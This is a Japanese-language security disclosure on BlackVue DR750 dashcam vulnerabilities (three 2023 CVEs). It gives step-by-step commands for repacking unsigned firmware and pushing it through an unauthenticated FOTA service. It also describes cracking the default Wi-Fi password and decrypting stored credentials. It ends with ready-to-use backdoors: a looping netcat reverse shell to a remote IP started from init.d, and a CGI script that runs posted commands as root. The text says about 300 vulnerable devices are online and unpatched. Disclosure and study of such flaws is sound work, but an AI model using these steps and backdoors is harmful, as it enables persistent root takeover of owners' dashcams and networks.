
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
以下は教育目的のみのものであり、お持ちでないデバイスや使用許可のないデバイスで試さないでください。
執筆時点では、約300台の脆弱なBlackVueデバイスがオンラインで存在し、容易に発見・悪用可能ですが、公式パッチはまだリリースされていません。
BlackVueには2022年7月30日にこれらの脆弱性が通知され、調査するとの回答がありました。しかし、私たちが知る限り、何も行われていません。
ファームウェアの真正性チェックがないため、悪意のある攻撃者がカスタムファームウェアをアップロードできます。このカスタムファームウェアには、バックドアやエクスプロイトを含めることができます。
再現手順:
.zipを展開するpatch_<dashcam_name>.binを展開するtar.gzするpatch_<dashcam_name>.binのsueチェックサムを計算する(sue_checksumを参照)# https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/ からダウンロード
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# patch-out 内で変更を行う
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
その後、BlackVueフォルダをドライブレコーダーのSDカードに配置するだけで、実行が開始されます。
FOTA(無線ファームウェアアップデート)用のファームウェアを作成する場合は、代わりにSystemディレクトリを.tgzファイルに圧縮します。
$ tar -C BlackVue/System -czvf fwupgrade.tgz
このファイルは後でFOTAを使用してカスタムファームウェアをアップロードし、ドライブレコーダーを完全に侵害するために使用できます。
テスト中に、BlackVueのWebサイトから公式ファームウェアをデバイスに書き戻した場合でも、仕込まれたバックドアが持続することが確認された点に注意してください。
BlackVueドライブレコーダーはポート9771/TCPで待機し、FOTA(無線ファームウェアアップデート)サービスが動作しています。このサービスでは、ping、再起動、デバイス時刻の取得、ファームウェアのアップグレードなどが可能です。
このエンドポイントを保護するものは何もなく、ドライブレコーダーと同じLANに接続している場合、またはドライブレコーダーがLTEに接続している場合はインターネットからアクセス可能であり、重大なセキュリティリスクとなります。 FOTAサービスと通信できるPythonスクリプトはこちらにあります。
前のセクションの手順に基づいて新しいファームウェアを作成し、Pythonスクリプトを使用してアップロードします。
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
このユーティリティは動作を保証するものではありませんが、以前に一度動作した実績があります。
ドライブレコーダーにはファイアウォールが有効になっていません。これはWi-Fiのみで接続する場合は問題になりにくいですが、LTE版は直接インターネットに接続されます。一部のモバイルプロバイダーはファイアウォールを設定しておらず、ユーザーをNATの背後に配置しないためです。これは抽出したファームウェアを確認することで検証できます。
少なくともLTE搭載のBlackVueドライブレコーダーでは、LTE側の接続をブロックする必要があります。
ドライブレコーダーのデフォルトWi-Fiパスワードは、小文字の英数字のみで長さ8文字です。ドライブレコーダーからのハンドシェイクを傍受し、Aircrack-ngのツールを使用してパスワードを計算することが可能です(ユーザーが変更していない場合)。これはレンタルハードウェア(約40ユーロ)を使用して約4日で実行できます。
デフォルトでは、Webサーバーは認証なしでアクセス可能であり、さまざまなエンドポイントを公開しています。
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
これらのエンドポイントにより、以下が可能になります。
ドライブレコーダーが接続するネットワークのWi-Fi SSIDとパスワードは、ドライブレコーダーのSDカードに保存されています。このデータは暗号化されていますが、アプリのリバースエンジニアリングによってキーは容易に明らかになります。これはwifi-decrypt.pyで実証されています。
また、ドライブレコーダーが接続するWi-Fiネットワークを変更する際、これらの値はBlackVueのサーバーに送信され、ドライブレコーダーに情報を送信できるようになるまで保存されることにも注意が必要です。このデータがドライブレコーダーが利用可能になった時点で削除されるかどうかは不明です。
これらすべてを組み合わせると、特にLTEドライブレコーダーでは、簡単なRCEが実現可能です。
カスタムファームウェアに含めることができるバックドアの例。
以下のバックドアは、リモートマシンに接続し、rootとして完全なシェルアクセスを提供します。
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
以下のinit.dスクリプトは、起動時にバックドアを開始し、指定されたIP/ポートに接続します。
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgi以下のバックドアは、ペイロードがWebサーバーに送信されると、コマンドを(rootとして)実行できるようにします。
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # 使用するデータタイプを設定
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING